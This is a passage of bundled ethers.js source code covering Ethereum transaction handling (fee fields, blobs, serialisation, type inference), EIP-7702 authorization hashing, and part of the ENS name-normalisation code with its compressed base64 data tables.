maximum priority fee per unit of gas to pay. On legacy\n * networks this should be ``null``.\n */\n get maxPriorityFeePerGas() {\n const value = this.#maxPriorityFeePerGas;\n if (value == null) {\n if (this.type === 2 || this.type === 3) {\n return BN_0;\n }\n return null;\n }\n return value;\n }\n set maxPriorityFeePerGas(value) {\n this.#maxPriorityFeePerGas = (value == null) ? null : getBigInt(value, \"maxPriorityFeePerGas\");\n }\n /**\n * The maximum total fee per unit of gas to pay. On legacy\n * networks this should be ``null``.\n */\n get maxFeePerGas() {\n const value = this.#maxFeePerGas;\n if (value == null) {\n if (this.type === 2 || this.type === 3) {\n return BN_0;\n }\n return null;\n }\n return value;\n }\n set maxFeePerGas(value) {\n this.#maxFeePerGas = (value == null) ? null : getBigInt(value, \"maxFeePerGas\");\n }\n /**\n * The transaction data. For ``init`` transactions this is the\n * deployment code.\n */\n get data() { return this.#data; }\n set data(value) { this.#data = hexlify(value); }\n /**\n * The amount of ether (in wei) to send in this transactions.\n */\n get value() { return this.#value; }\n set value(value) {\n this.#value = getBigInt(value, \"value\");\n }\n /**\n * The chain ID this transaction is valid on.\n */\n get chainId() { return this.#chainId; }\n set chainId(value) { this.#chainId = getBigInt(value); }\n /**\n * If signed, the signature for this transaction.\n */\n get signature() { return this.#sig || null; }\n set signature(value) {\n this.#sig = (value == null) ? null : Signature.from(value);\n }\n /**\n * The access list.\n *\n * An access list permits discounted (but pre-paid) access to\n * bytecode and state variable access within contract execution.\n */\n get accessList() {\n const value = this.#accessList || null;\n if (value == null) {\n if (this.type === 1 || this.type === 2 || this.type === 3) {\n // @TODO: in v7, this should assign the value or become\n // a live object itself, otherwise mutation is inconsistent\n return [];\n }\n return null;\n }\n return value;\n }\n set accessList(value) {\n this.#accessList = (value == null) ? null : accessListify(value);\n }\n get authorizationList() {\n const value = this.#auths || null;\n if (value == null) {\n if (this.type === 4) {\n // @TODO: in v7, this should become a live object itself,\n // otherwise mutation is inconsistent\n return [];\n }\n }\n return value;\n }\n set authorizationList(auths) {\n this.#auths = (auths == null) ? null : auths.map((a) => authorizationify(a));\n }\n /**\n * The max fee per blob gas for Cancun transactions.\n */\n get maxFeePerBlobGas() {\n const value = this.#maxFeePerBlobGas;\n if (value == null && this.type === 3) {\n return BN_0;\n }\n return value;\n }\n set maxFeePerBlobGas(value) {\n this.#maxFeePerBlobGas = (value == null) ? null : getBigInt(value, \"maxFeePerBlobGas\");\n }\n /**\n * The BLOb versioned hashes for Cancun transactions.\n */\n get blobVersionedHashes() {\n // @TODO: Mutation is inconsistent; if unset, the returned value\n // cannot mutate the object, if set it can\n let value = this.#blobVersionedHashes;\n if (value == null && this.type === 3) {\n return [];\n }\n return value;\n }\n set blobVersionedHashes(value) {\n if (value != null) {\n assertArgument(Array.isArray(value), \"blobVersionedHashes must be an Array\", \"value\", value);\n value = value.slice();\n for (let i = 0; i < value.length; i++) {\n assertArgument(isHexString(value[i], 32), \"invalid blobVersionedHash\", `value[${i}]`, value[i]);\n }\n }\n this.#blobVersionedHashes = value;\n }\n /**\n * The BLObs for the Transaction, if any.\n *\n * If ``blobs`` is non-``null``, then the [[seriailized]]\n * will return the network formatted sidecar, otherwise it\n * will return the standard [[link-eip-2718]] payload. The\n * [[unsignedSerialized]] is unaffected regardless.\n *\n * When setting ``blobs``, either fully valid [[Blob]] objects\n * may be specified (i.e. correctly padded, with correct\n * committments and proofs) or a raw [[BytesLike]] may\n * be provided.\n *\n * If raw [[BytesLike]] are provided, the [[kzg]] property **must**\n * be already set. The blob will be correctly padded and the\n * [[KzgLibrary]] will be used to compute the committment and\n * proof for the blob.\n *\n * A BLOb is a sequence of field elements, each of which must\n * be within the BLS field modulo, so some additional processing\n * may be required to encode arbitrary data to ensure each 32 byte\n * field is within the valid range.\n *\n * Setting this automatically populates [[blobVersionedHashes]],\n * overwriting any existing values. Setting this to ``null``\n * does **not** remove the [[blobVersionedHashes]], leaving them\n * present.\n */\n get blobs() {\n if (this.#blobs == null) {\n return null;\n }\n return this.#blobs.map((b) => Object.assign({}, b));\n }\n set blobs(_blobs) {\n if (_blobs == null) {\n this.#blobs = null;\n return;\n }\n const blobs = [];\n const versionedHashes = [];\n for (let i = 0; i < _blobs.length; i++) {\n const blob = _blobs[i];\n if (isBytesLike(blob)) {\n assert(this.#kzg, \"adding a raw blob requires a KZG library\", \"UNSUPPORTED_OPERATION\", {\n operation: \"set blobs()\"\n });\n let data = getBytes(blob);\n assertArgument(data.length <= BLOB_SIZE, \"blob is too large\", `blobs[${i}]`, blob);\n // Pad blob if necessary\n if (data.length !== BLOB_SIZE) {\n const padded = new Uint8Array(BLOB_SIZE);\n padded.set(data);\n data = padded;\n }\n const commit = this.#kzg.blobToKzgCommitment(data);\n const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit));\n blobs.push({\n data: hexlify(data),\n commitment: hexlify(commit),\n proof\n });\n versionedHashes.push(getVersionedHash(1, commit));\n }\n else {\n const commit = hexlify(blob.commitment);\n blobs.push({\n data: hexlify(blob.data),\n commitment: commit,\n proof: hexlify(blob.proof)\n });\n versionedHashes.push(getVersionedHash(1, commit));\n }\n }\n this.#blobs = blobs;\n this.#blobVersionedHashes = versionedHashes;\n }\n get kzg() { return this.#kzg; }\n set kzg(kzg) {\n if (kzg == null) {\n this.#kzg = null;\n }\n else {\n this.#kzg = getKzgLibrary(kzg);\n }\n }\n /**\n * Creates a new Transaction with default values.\n */\n constructor() {\n this.#type = null;\n this.#to = null;\n this.#nonce = 0;\n this.#gasLimit = BN_0;\n this.#gasPrice = null;\n this.#maxPriorityFeePerGas = null;\n this.#maxFeePerGas = null;\n this.#data = \"0x\";\n this.#value = BN_0;\n this.#chainId = BN_0;\n this.#sig = null;\n this.#accessList = null;\n this.#maxFeePerBlobGas = null;\n this.#blobVersionedHashes = null;\n this.#kzg = null;\n this.#blobs = null;\n this.#auths = null;\n }\n /**\n * The transaction hash, if signed. Otherwise, ``null``.\n */\n get hash() {\n if (this.signature == null) {\n return null;\n }\n return keccak256(this.#getSerialized(true, false));\n }\n /**\n * The pre-image hash of this transaction.\n *\n * This is the digest that a [[Signer]] must sign to authorize\n * this transaction.\n */\n get unsignedHash() {\n return keccak256(this.unsignedSerialized);\n }\n /**\n * The sending address, if signed. Otherwise, ``null``.\n */\n get from() {\n if (this.signature == null) {\n return null;\n }\n return recoverAddress(this.unsignedHash, this.signature);\n }\n /**\n * The public key of the sender, if signed. Otherwise, ``null``.\n */\n get fromPublicKey() {\n if (this.signature == null) {\n return null;\n }\n return SigningKey.recoverPublicKey(this.unsignedHash, this.signature);\n }\n /**\n * Returns true if signed.\n *\n * This provides a Type Guard that properties requiring a signed\n * transaction are non-null.\n */\n isSigned() {\n return this.signature != null;\n }\n #getSerialized(signed, sidecar) {\n assert(!signed || this.signature != null, \"cannot serialize unsigned transaction; maybe you meant .unsignedSerialized\", \"UNSUPPORTED_OPERATION\", { operation: \".serialized\" });\n const sig = signed ? this.signature : null;\n switch (this.inferType()) {\n case 0:\n return _serializeLegacy(this, sig);\n case 1:\n return _serializeEip2930(this, sig);\n case 2:\n return _serializeEip1559(this, sig);\n case 3:\n return _serializeEip4844(this, sig, sidecar ? this.blobs : null);\n case 4:\n return _serializeEip7702(this, sig);\n }\n assert(false, \"unsupported transaction type\", \"UNSUPPORTED_OPERATION\", { operation: \".serialized\" });\n }\n /**\n * The serialized transaction.\n *\n * This throws if the transaction is unsigned. For the pre-image,\n * use [[unsignedSerialized]].\n */\n get serialized() {\n return this.#getSerialized(true, true);\n }\n /**\n * The transaction pre-image.\n *\n * The hash of this is the digest which needs to be signed to\n * authorize this transaction.\n */\n get unsignedSerialized() {\n return this.#getSerialized(false, false);\n }\n /**\n * Return the most \"likely\" type; currently the highest\n * supported transaction type.\n */\n inferType() {\n const types = this.inferTypes();\n // Prefer London (EIP-1559) over Cancun (BLOb)\n if (types.indexOf(2) >= 0) {\n return 2;\n }\n // Return the highest inferred type\n return (types.pop());\n }\n /**\n * Validates the explicit properties and returns a list of compatible\n * transaction types.\n */\n inferTypes() {\n // Checks that there are no conflicting properties set\n const hasGasPrice = this.gasPrice != null;\n const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null);\n const hasAccessList = (this.accessList != null);\n const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes);\n //if (hasGasPrice && hasFee) {\n // throw new Error(\"transaction cannot have gasPrice and maxFeePerGas\");\n //}\n if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) {\n assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, \"priorityFee cannot be more than maxFee\", \"BAD_DATA\", { value: this });\n }\n //if (this.type === 2 && hasGasPrice) {\n // throw new Error(\"eip-1559 transaction cannot have gasPrice\");\n //}\n assert(!hasFee || (this.type !== 0 && this.type !== 1), \"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas\", \"BAD_DATA\", { value: this });\n assert(this.type !== 0 || !hasAccessList, \"legacy transaction cannot have accessList\", \"BAD_DATA\", { value: this });\n const types = [];\n // Explicit type\n if (this.type != null) {\n types.push(this.type);\n }\n else {\n if (this.authorizationList && this.authorizationList.length) {\n types.push(4);\n }\n else if (hasFee) {\n types.push(2);\n }\n else if (hasGasPrice) {\n types.push(1);\n if (!hasAccessList) {\n types.push(0);\n }\n }\n else if (hasAccessList) {\n types.push(1);\n types.push(2);\n }\n else if (hasBlob && this.to) {\n types.push(3);\n }\n else {\n types.push(0);\n types.push(1);\n types.push(2);\n types.push(3);\n }\n }\n types.sort();\n return types;\n }\n /**\n * Returns true if this transaction is a legacy transaction (i.e.\n * ``type === 0``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isLegacy() {\n return (this.type === 0);\n }\n /**\n * Returns true if this transaction is berlin hardform transaction (i.e.\n * ``type === 1``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isBerlin() {\n return (this.type === 1);\n }\n /**\n * Returns true if this transaction is london hardform transaction (i.e.\n * ``type === 2``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isLondon() {\n return (this.type === 2);\n }\n /**\n * Returns true if this transaction is an [[link-eip-4844]] BLOB\n * transaction.\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isCancun() {\n return (this.type === 3);\n }\n /**\n * Create a copy of this transaciton.\n */\n clone() {\n return Transaction.from(this);\n }\n /**\n * Return a JSON-friendly object.\n */\n toJSON() {\n const s = (v) => {\n if (v == null) {\n return null;\n }\n return v.toString();\n };\n return {\n type: this.type,\n to: this.to,\n // from: this.from,\n data: this.data,\n nonce: this.nonce,\n gasLimit: s(this.gasLimit),\n gasPrice: s(this.gasPrice),\n maxPriorityFeePerGas: s(this.maxPriorityFeePerGas),\n maxFeePerGas: s(this.maxFeePerGas),\n value: s(this.value),\n chainId: s(this.chainId),\n sig: this.signature ? this.signature.toJSON() : null,\n accessList: this.accessList\n };\n }\n /**\n * Create a **Transaction** from a serialized transaction or a\n * Transaction-like object.\n */\n static from(tx) {\n if (tx == null) {\n return new Transaction();\n }\n if (typeof (tx) === \"string\") {\n const payload = getBytes(tx);\n if (payload[0] >= 0x7f) { // @TODO: > vs >= ??\n return Transaction.from(_parseLegacy(payload));\n }\n switch (payload[0]) {\n case 1: return Transaction.from(_parseEip2930(payload));\n case 2: return Transaction.from(_parseEip1559(payload));\n case 3: return Transaction.from(_parseEip4844(payload));\n case 4: return Transaction.from(_parseEip7702(payload));\n }\n assert(false, \"unsupported transaction type\", \"UNSUPPORTED_OPERATION\", { operation: \"from\" });\n }\n const result = new Transaction();\n if (tx.type != null) {\n result.type = tx.type;\n }\n if (tx.to != null) {\n result.to = tx.to;\n }\n if (tx.nonce != null) {\n result.nonce = tx.nonce;\n }\n if (tx.gasLimit != null) {\n result.gasLimit = tx.gasLimit;\n }\n if (tx.gasPrice != null) {\n result.gasPrice = tx.gasPrice;\n }\n if (tx.maxPriorityFeePerGas != null) {\n result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas;\n }\n if (tx.maxFeePerGas != null) {\n result.maxFeePerGas = tx.maxFeePerGas;\n }\n if (tx.maxFeePerBlobGas != null) {\n result.maxFeePerBlobGas = tx.maxFeePerBlobGas;\n }\n if (tx.data != null) {\n result.data = tx.data;\n }\n if (tx.value != null) {\n result.value = tx.value;\n }\n if (tx.chainId != null) {\n result.chainId = tx.chainId;\n }\n if (tx.signature != null) {\n result.signature = Signature.from(tx.signature);\n }\n if (tx.accessList != null) {\n result.accessList = tx.accessList;\n }\n if (tx.authorizationList != null) {\n result.authorizationList = tx.authorizationList;\n }\n // This will get overwritten by blobs, if present\n if (tx.blobVersionedHashes != null) {\n result.blobVersionedHashes = tx.blobVersionedHashes;\n }\n // Make sure we assign the kzg before assigning blobs, which\n // require the library in the event raw blob data is provided.\n if (tx.kzg != null) {\n result.kzg = tx.kzg;\n }\n if (tx.blobs != null) {\n result.blobs = tx.blobs;\n }\n if (tx.hash != null) {\n assertArgument(result.isSigned(), \"unsigned transaction cannot define '.hash'\", \"tx\", tx);\n assertArgument(result.hash === tx.hash, \"hash mismatch\", \"tx\", tx);\n }\n if (tx.from != null) {\n assertArgument(result.isSigned(), \"unsigned transaction cannot define '.from'\", \"tx\", tx);\n assertArgument(result.from.toLowerCase() === (tx.from || \"\").toLowerCase(), \"from mismatch\", \"tx\", tx);\n }\n return result;\n }\n}\n//# sourceMappingURL=transaction.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256 } from \"../crypto/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { assertArgument, concat, encodeRlp, toBeArray } from \"../utils/index.js\";\n/**\n * Computes the [[link-eip-7702]] authorization digest to sign.\n */\nexport function hashAuthorization(auth) {\n assertArgument(typeof (auth.address) === \"string\", \"invalid address for hashAuthorization\", \"auth.address\", auth);\n return keccak256(concat([\n \"0x05\", encodeRlp([\n (auth.chainId != null) ? toBeArray(auth.chainId) : \"0x\",\n getAddress(auth.address),\n (auth.nonce != null) ? toBeArray(auth.nonce) : \"0x\",\n ])\n ]));\n}\n/**\n * Return the address of the private key that produced\n * the signature %%sig%% during signing for %%message%%.\n */\nexport function verifyAuthorization(auth, sig) {\n return recoverAddress(hashAuthorization(auth), sig);\n}\n//# sourceMappingURL=authorization.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { toUtf8Bytes } from \"../utils/index.js\";\n/**\n * A simple hashing function which operates on UTF-8 strings to\n * compute an 32-byte identifier.\n *\n * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes\n * the [[keccak256]].\n *\n * @example:\n * id(\"hello world\")\n * //_result:\n */\nexport function id(value) {\n return keccak256(toUtf8Bytes(value));\n}\n//# sourceMappingURL=id.js.map","// created 2023-09-25T01:01:55.148Z\n// compressed base64-encoded blob for include-ens data\n// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js\n// see: https://github.com/adraffy/ens-normalize.js#security\n// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32\nvar COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6QH9LQDPDtO9ASNriQC5DQANAwCK21EFI91zHwCoL9kBqQcHBwcHKzUDowBvAQohPvU3fAQgHwCyAc8CKQMA5zMSezr7ULgFmDp/LzVQBgEGAi8FYQVgt8AFcTtlQhpCWEmfe5tmZ6IAExsDzQ8t+X8rBKtTAltbAn0jsy8Bl6utPWMDTR8Ei2kRANkDBrNHNysDBzECQWUAcwFpJ3kAiyUhAJ0BUb8AL3E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WEHttMD65v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI';\nconst FENCED = new Map([[8217,\"apostrophe\"],[8260,\"fraction slash\"],[12539,\"middle dot\"]]);\nconst NSM_MAX = 4;\n\nfunction decode_arithmetic(bytes) {\r\n\tlet pos = 0;\r\n\tfunction u16() { return (bytes[pos++] << 8) | bytes[pos++]; }\r\n\t\r\n\t// decode the frequency table\r\n\tlet symbol_count = u16();\r\n\tlet total = 1;\r\n\tlet acc = [0, 1]; // first symbol has frequency 1\r\n\tfor (let i = 1; i < symbol_count; i++) {\r\n\t\tacc.push(total += u16());\r\n\t}\r\n\r\n\t// skip the sized-payload that the last 3 symbols index into\r\n\tlet skip = u16();\r\n\tlet pos_payload = pos;\r\n\tpos += skip;\r\n\r\n\tlet read_width = 0;\r\n\tlet read_buffer = 0; \r\n\tfunction read_bit() {\r\n\t\tif (read_width == 0) {\r\n\t\t\t// this will read beyond end of buffer\r\n\t\t\t// but (undefined|0) => zero pad\r\n\t\t\tread_buffer = (read_buffer << 8) | bytes[pos++];\r\n\t\t\tread_width = 8;\r\n\t\t}\r\n\t\treturn (read_buffer >> --read_width) & 1;\r\n\t}\r\n\r\n\tconst N = 31;\r\n\tconst FULL = 2**N;\r\n\tconst HALF = FULL >>> 1;\r\n\tconst QRTR = HALF >> 1;\r\n\tconst MASK = FULL - 1;\r\n\r\n\t// fill register\r\n\tlet register = 0;\r\n\tfor (let i = 0; i < N; i++) register = (register << 1) | read_bit();\r\n\r\n\tlet symbols = [];\r\n\tlet low = 0;\r\n\tlet range = FULL; // treat like a float\r\n\twhile (true) {\r\n\t\tlet value = Math.floor((((register - low + 1) * total) - 1) / range);\r\n\t\tlet start = 0;\r\n\t\tlet end = symbol_count;\r\n\t\twhile (end - start > 1) { // binary search\r\n\t\t\tlet mid = (start + end) >>> 1;\r\n\t\t\tif (value < acc[mid]) {\r\n\t\t\t\tend = mid;\r\n\t\t\t} else {\r\n\t\t\t\tstart = mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (start == 0) break; // first symbol is end mark\r\n\t\tsymbols.push(start);\r\n\t\tlet a = low + Math.floor(range * acc[start] / total);\r\n\t\tlet b = low + Math.floor(range * acc[start+1] / total) - 1;\r\n\t\twhile (((a ^ b) & HALF) == 0) {\r\n\t\t\tregister = (register << 1) & MASK | read_bit();\r\n\t\t\ta = (a << 1) & MASK;\r\n\t\t\tb = (b << 1) & MASK | 1;\r\n\t\t}\r\n\t\twhile (a & ~b & QRTR) {\r\n\t\t\tregister = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit();\r\n\t\t\ta = (a << 1) ^ HALF;\r\n\t\t\tb = ((b ^ HALF) << 1) | HALF | 1;\r\n\t\t}\r\n\t\tlow = a;\r\n\t\trange = 1 + b - a;\r\n\t}\r\n\tlet offset = symbol_count - 4;\r\n\treturn symbols.map(x => { // index into payload\r\n\t\tswitch (x - offset) {\r\n\t\t\tcase 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]);\r\n\t\t\tcase 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]);\r\n\t\t\tcase 1: return offset + bytes[pos_payload++];\r\n\t\t\tdefault: return x - 1;\r\n\t\t}\r\n\t});\r\n}\t\r\n\r\n// returns an iterator which returns the next symbol\r\nfunction read_payload(v) {\r\n\tlet pos = 0;\r\n\treturn () => v[pos++];\r\n}\r\nfunction read_compressed_payload(s) {\r\n\treturn read_payload(decode_arithmetic(unsafe_atob(s)));\r\n}\r\n\r\n// unsafe in the sense:\r\n// expected well-formed Base64 w/o padding \r\n// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4\r\nfunction unsafe_atob(s) {\r\n\tlet lookup = [];\r\n\t[...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i);\r\n\tlet n = s.length;\r\n\tlet ret = new Uint8Array((6 * n) >> 3);\r\n\tfor (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) {\r\n\t\tcarry = (carry << 6) | lookup[s.charCodeAt(i)];\r\n\t\twidth += 6;\r\n\t\tif (width >= 8) {\r\n\t\t\tret[pos++] = (carry >> (width -= 8));\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\n// eg. [0,1,2,3...] => [0,-1,1,-2,...]\r\nfunction signed(i) { \r\n\treturn (i & 1) ? (~i >> 1) : (i >> 1);\r\n}\r\n\r\nfunction read_deltas(n, next) {\r\n\tlet v = Array(n);\r\n\tfor (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next());\r\n\treturn v;\r\n}\r\n\r\n// [123][5] => [0 3] [1 1] [0 0]\r\nfunction read_sorted(next, prev = 0) {\r\n\tlet ret = [];\r\n\twhile (true) {\r\n\t\tlet x = next();\r\n\t\tlet n = next();\r\n\t\tif (!n) break;\r\n\t\tprev += x;\r\n\t\tfor (let i = 0; i < n; i++) {\r\n\t\t\tret.push(prev + i);\r\n\t\t}\r\n\t\tprev += n + 1;\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction read_sorted_arrays(next) {\r\n\treturn read_array_while(() => { \r\n\t\tlet v = read_sorted(next);\r\n\t\tif (v.length) return v;\r\n\t});\r\n}\r\n\r\n// returns map of x => ys\r\nfunction read_mapped(next) {\r\n\tlet ret = [];\r\n\twhile (true) {\r\n\t\tlet w = next();\r\n\t\tif (w == 0) break;\r\n\t\tret.push(read_linear_table(w, next));\r\n\t}\r\n\twhile (true) {\r\n\t\tlet w = next() - 1;\r\n\t\tif (w < 0) break;\r\n\t\tret.push(read_replacement_table(w, next));\r\n\t}\r\n\treturn ret.flat();\r\n}\r\n\r\n// read until next is falsy\r\n// return array of read values\r\nfunction read_array_while(next) {\r\n\tlet v = [];\r\n\twhile (true) {\r\n\t\tlet x = next(v.length);\r\n\t\tif (!x) break;\r\n\t\tv.push(x);\r\n\t}\r\n\treturn v;\r\n}\r\n\r\n// read w columns of length n\r\n// return as n rows of length w\r\nfunction read_transposed(n, w, next) {\r\n\tlet m = Array(n).fill().map(() => []);\r\n\tfor (let i = 0; i < w; i++) {\r\n\t\tread_deltas(n, next).forEach((x, j) => m[j].push(x));\r\n\t}\r\n\treturn m;\r\n}\r\n \r\n// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...]\r\n// where dx/dy = steps, n = run size, w = length of y\r\nfunction read_linear_table(w, next) {\r\n\tlet dx = 1 + next();\r\n\tlet dy = next();\r\n\tlet vN = read_array_while(next);\r\n\tlet m = read_transposed(vN.length, 1+w, next);\r\n\treturn m.flatMap((v, i) => {\r\n\t\tlet [x, ...ys] = v;\r\n\t\treturn Array(vN[i]).fill().map((_, j) => {\r\n\t\t\tlet j_dy = j * dy;\r\n\t\t\treturn [x + j * dx, ys.map(y => y + j_dy)];\r\n\t\t});\r\n\t});\r\n}\r\n\r\n// return [[x, ys...], ...]\r\n// where w = length of y\r\nfunction read_replacement_table(w, next) { \r\n\tlet n = 1 + next();\r\n\tlet m = read_transposed(n, 1+w, next);\r\n\treturn m.map(v => [v[0], v.slice(1)]);\r\n}\r\n\r\n\r\nfunction read_trie(next) {\r\n\tlet ret = [];\r\n\tlet sorted = read_sorted(next); \r\n\texpand(decode([]), []);\r\n\treturn ret; // not sorted\r\n\tfunction decode(Q) { // characters that lead into this node\r\n\t\tlet S = next(); // state: valid, save, check\r\n\t\tlet B = read_array_while(() => { // buckets leading to new nodes\r\n\t\t\tlet cps = read_sorted(next).map(i => sorted[i]);\r\n\t\t\tif (cps.length) return decode(cps);\r\n\t\t});\r\n\t\treturn {S, B, Q};\r\n\t}\r\n\tfunction expand({S, B}, cps, saved) {\r\n\t\tif (S & 4 && saved === cps[cps.length-1]) return;\r\n\t\tif (S & 2) saved = cps[cps.length-1];\r\n\t\tif (S & 1) ret.push(cps); \r\n\t\tfor (let br of B) {\r\n\t\t\tfor (let cp of br.Q) {\r\n\t\t\t\texpand(br, [...cps, cp], saved);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\n\nfunction hex_cp(cp) {\r\n\treturn cp.toString(16).toUpperCase().padStart(2, '0');\r\n}\r\n\r\nfunction quote_cp(cp) {\r\n\treturn `{${hex_cp(cp)}}`; // raffy convention: like \"\\u{X}\" w/o the \"\\u\"\r\n}\r\n\r\n/*\r\nexport function explode_cp(s) {\r\n\treturn [...s].map(c => c.codePointAt(0));\r\n}\r\n*/\r\nfunction explode_cp(s) { // this is about 2x faster\r\n\tlet cps = [];\r\n\tfor (let pos = 0, len = s.length; pos < len; ) {\r\n\t\tlet cp = s.codePointAt(pos);\r\n\t\tpos += cp < 0x10000 ? 1 : 2;\r\n\t\tcps.push(cp);\r\n\t}\r\n\treturn cps;\r\n}\r\n\r\nfunction str_from_cps(cps) {\r\n\tconst chunk = 4096;\r\n\tlet len = cps.length;\r\n\tif (len < chunk) return String.fromCodePoint(...cps);\r\n\tlet buf = [];\r\n\tfor (let i = 0; i < len; ) {\r\n\t\tbuf.push(String.fromCodePoint(...cps.slice(i, i += chunk)));\r\n\t}\r\n\treturn buf.join('');\r\n}\r\n\r\nfunction compare_arrays(a, b) {\r\n\tlet n = a.length;\r\n\tlet c = n - b.length;\r\n\tfor (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i];\r\n\treturn c;\r\n}\n\n// created 2023-09-25T01:01:55.148Z\n// compressed base64-encoded blob for include-nf data\n// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js\n// see: https://github.com/adraffy/ens-normalize.js#security\n// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e\nvar COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQUvBdALFAsVDPcNBw13DYcOMA4xDjMB4BllHI0B2grbAMDpHLkQ7QHVAPRNQQFnGRUEg0yEB2uaJF8AJpIBpob5AERSMAKNoAXqaQLUBMCzEiACnwRZEkkVsS7tANAsBG0RuAQLEPABv9HICTUBXigPZwRBApMDOwAamhtaABqEAY8KvKx3LQ4ArAB8UhwEBAVSagD8AEFZADkBIadVj2UMUgx5Il4ANQC9AxIB1BlbEPMAs30CGxlXAhwZKQIECBc6EbsCoxngzv7UzRQA8M0BawL6ZwkN7wABAD33OQRcsgLJCjMCjqUChtw/km+NAsXPAoP2BT84PwURAK0RAvptb6cApQS/OMMey5HJS84UdxpxTPkCogVFITaTOwERAK5pAvkNBOVyA7q3BKlOJSALAgUIBRcEdASpBXqzABXFSWZOawLCOqw//AolCZdvv3dSBkEQGyelEPcMMwG1ATsN7UvYBPEGO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6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g';\n\n// https://unicode.org/reports/tr15/\r\n// for reference implementation\r\n// see: /derive/nf.js\r\n\r\n\r\n// algorithmic hangul\r\n// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144)\r\nconst S0 = 0xAC00;\r\nconst L0 = 0x1100;\r\nconst V0 = 0x1161;\r\nconst T0 = 0x11A7;\r\nconst L_COUNT = 19;\r\nconst V_COUNT = 21;\r\nconst T_COUNT = 28;\r\nconst N_COUNT = V_COUNT * T_COUNT;\r\nconst S_COUNT = L_COUNT * N_COUNT;\r\nconst S1 = S0 + 